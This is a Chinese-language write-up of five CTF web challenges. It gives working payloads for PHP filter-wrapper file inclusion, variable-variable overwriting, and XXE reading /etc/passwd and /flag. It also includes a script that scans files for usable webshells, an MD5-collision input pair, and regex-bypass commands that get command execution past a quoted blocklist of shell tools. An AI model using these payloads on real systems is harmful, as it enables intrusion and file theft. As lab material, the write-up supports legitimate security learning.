目录
1.[BSidesCF 2020]Had a bad day 1
2.[BJDCTF2020]Mark loves cat 1
3.[NCTF2019]Fake XML cookbook 1
4.[强网杯 2019]高明的黑客 1
5.[安洵杯 2019]easy_web 1
在源码中没有找到有用的信息,我们点击对应的动物名就会地址栏就的category参数就会跟着变化,猜测这是一个注入点
试着改变参数的值
看看用php伪协议能不能读取
从报错信息可以看到,我们的index.php后面多加了个.php,我们把.php后缀删掉
读取成功,这里请自行解码,不过内容很长,解码之后会看到一段php代码,
这是关键,只贴这部分
可以看到这里有文件包含,条件是category参数中必须包含woofers或者meowers,还是用php伪协议读取,解释是:
php://filter/read=convert.base64-encode/woofers/resource=flag
这里伪协议的协议中都指定了特定的协议键,识别到woofers时不认识会忽略掉,但这道题却能够绕过strpos函数
解码即可
源码很长,关键是没有找到有价值的信息,漏洞点在contact me
和上一题思路类似,修改message的参数值,用php伪协议读取
结果是没有回显信息,就是看不到代码的执行结果,那就扫目录
dirsearch,时间比较长
$y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
三个exit函数,作用是输出一条消息后退出程序,我们只要满足其中的一个就可以输出想要的flag,具体请看:
有两种传参方式,这里我用的是GET方式,但不论哪种方式,都会经过一个处理函数
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值>为键名的值
}
这是GET,POST方式的处理代码是一样的
什么意思,解释:比如我们传入?a=b,
那么$x=a,$y=b;
$$x=$a,$$y=$b;
$$x=$$y=>$a=$b,后面经过exit函数输出变量的值,在源码的最后我们可以看到,$flag的值就是flag,因此我们想办法输出它,从源码可以知道,exit输出的变量只有三个$handsome,$yds,$is,只要把其中一个赋值伪$flag即可,我选择最简单的$yds
payload很简单:yds=flag
分析一下为什么:
$x=yds,$y=flag;;
$$x=$yds,$$y=$flag;
$$x=$$y=>$yds=$flag;
exit($yds)<=>exit($flag)
前面说了,$flag的值就是flag,那么这题就解决了
抓包发现是GET方式传参
很熟悉的界面 ,但这题不是sql注入,为什么?题目的名字说了是xml漏洞
,抓包分析
xml实体注入漏洞,具体参考:
XML 外部实体注入漏洞_泽娃哦的博客-CSDN博客_xml外部实体注入漏洞怎么修复
现成的代码框架:
]>
&b;
把file:///etc/passwd改为file:///flag
注意&符号和参数b,对应到题目就是我们的username
file文件读取协议就不介绍了,flag一般就在根目录下,这题就是
直接访问备份目录下载 文件
下载后打开就是
随便打开一个就是
满屏的木马,但大多都不可用,我们要找的是可以用的一句话木马,这么多文件,一个一个手动找是不可能的。写脚本吧,自己又不会,py了,大佬勿喷:
[强网杯 2019]高明的黑客(考察代码编写能力)_HyyMbb的博客-CSDN博客
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
img的那串base64编码,两次base64解码得到16进制编码,再转换就是555.png,555.png经过base64编码后出现在源码中
反过来,我们把index.php转换为16进制,在base64编码两次,再赋值给img,那么就可以得到
base64编码,再解码就是源码
?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
把源码里的base64编码解码
';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
POST 方式传入两个参数a和b
对条件md5($_POST['a']) === md5($_POST['b'])的绕过可以用数组等
对条件(string)$_POST['a'] !== (string)$_POST['b']要求a,b必须是字符串,
这里直接上payload:
$a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&$b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
同时对cmd参数的值进行了严格的过滤,ls 用 l\s 代替,空格用%20代替,cat=?ca\t,flag=>fl\ag,
\可以绕过正则匹配
最后我说一下,imag的那串base64编码在我们传参的时候可以不要,它把内容的16进制 经过两次base64编码后得到的,源码中可以看到,会把imag的内容给逆向的解析出来再对所得内容进行base64编码,再显示在源码里。不过img并不会影响cmd传参,为了回显内容的简介,可以不要!